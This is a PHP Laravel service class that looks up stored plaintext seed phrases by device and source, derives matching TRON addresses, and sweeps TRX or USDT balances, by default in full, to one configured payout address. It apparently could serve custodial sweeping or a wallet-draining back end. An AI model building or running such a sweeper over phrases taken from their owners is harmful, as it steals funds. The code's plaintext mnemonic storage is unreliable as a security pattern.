<?php

namespace App\Services;

use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use RuntimeException;

class TransferService
{
    public function __construct(
        private readonly ChainManager $chains,
    ) {}

    /**
     * Sweep from a known device address to the configured payout address.
     * Looks up mnemonics by the address row's device_id + source; tries each in order
     * (and BIP44 indexes) until the derived address matches $fromAddress.
     * Null / empty $amount means transfer the full on-chain balance of $asset.
     *
     * @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
     */
    public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
    {
        try {
            $to = trim((string) config('coruna.transfer.to_address', ''));
            if ($to === '') {
                return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
            }

            $asset = strtoupper(trim($asset));
            $driver = $this->chains->resolve($chain);

            if (! $driver->isValidAddress($fromAddress)) {
                return ['ok' => false, 'error' => 'Invalid from address'];
            }
            if (! $driver->isValidAddress($to)) {
                return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
            }

            $amount = $amount === null ? null : trim($amount);
            if ($amount === '') {
                $amount = null;
            }

            if ($amount === null) {
                $amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
            }

            $this->assertAmountWithinLimit($amount, $asset);

            $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
            if ($resolved === null) {
                return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
            }

            ['mnemonic' => $mnemonic, 'index' => $index] = $resolved;

            $txid = match ($asset) {
                'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
                'USDT' => $driver->sendToken(
                    $mnemonic,
                    $index,
                    $to,
                    $amount,
                    (string) config('coruna.tron.usdt_contract'),
                ),
                default => throw new RuntimeException("Unsupported asset: {$asset}"),
            };

            return [
                'ok' => true,
                'txid' => $txid,
                'from' => $fromAddress,
                'to' => $to,
                'amount' => $amount,
                'asset' => $asset,
            ];
        } catch (\Throwable $e) {
            return ['ok' => false, 'error' => $e->getMessage()];
        }
    }

    private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
    {
        $balance = match ($asset) {
            'TRX' => $driver->getNativeBalance($fromAddress),
            'USDT' => $driver->getTokenBalance(
                $fromAddress,
                (string) config('coruna.tron.usdt_contract'),
            ),
            default => throw new RuntimeException("Unsupported asset: {$asset}"),
        };

        if ($asset === 'TRX') {
            $reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
            if ($reserve !== '' && bccomp($reserve, '0') > 0) {
                $balance = bcsub($balance, $reserve, 6);
                $balance = rtrim(rtrim($balance, '0'), '.');
                if ($balance === '' || str_starts_with($balance, '-')) {
                    $balance = '0';
                }
            }
        }

        if (bccomp($balance, '0') <= 0) {
            throw new RuntimeException("No transferable {$asset} balance");
        }

        return $balance;
    }

    /**
     * @return array{mnemonic: string, index: int}|null
     */
    private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
    {
        $addressRows = WalletAddress::query()
            ->where('address', $fromAddress)
            ->orderBy('id')
            ->get(['device_id', 'source']);

        if ($addressRows->isEmpty()) {
            return null;
        }

        $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));

        foreach ($addressRows as $row) {
            $mnemonics = WalletMnemonic::query()
                ->where('device_id', $row->device_id)
                ->where(function ($q) use ($row) {
                    if ($row->source === null || $row->source === '') {
                        $q->whereNull('source')->orWhere('source', '');
                    } else {
                        $q->where('source', $row->source);
                    }
                })
                ->orderBy('id')
                ->get();

            foreach ($mnemonics as $mnemonicRow) {
                $phrase = $mnemonicRow->mnemonic;
                if ($phrase === null || trim($phrase) === '') {
                    continue;
                }
                for ($index = 0; $index <= $maxIndex; $index++) {
                    try {
                        if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
                            return ['mnemonic' => $phrase, 'index' => $index];
                        }
                    } catch (\Throwable) {
                        break;
                    }
                }
            }
        }

        return null;
    }

    private function assertAmountWithinLimit(string $amount, string $asset): void
    {
        if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
            throw new RuntimeException('Invalid amount');
        }

        $maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
        $max = (string) config($maxKey, '0');
        if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
            throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
        }
    }
}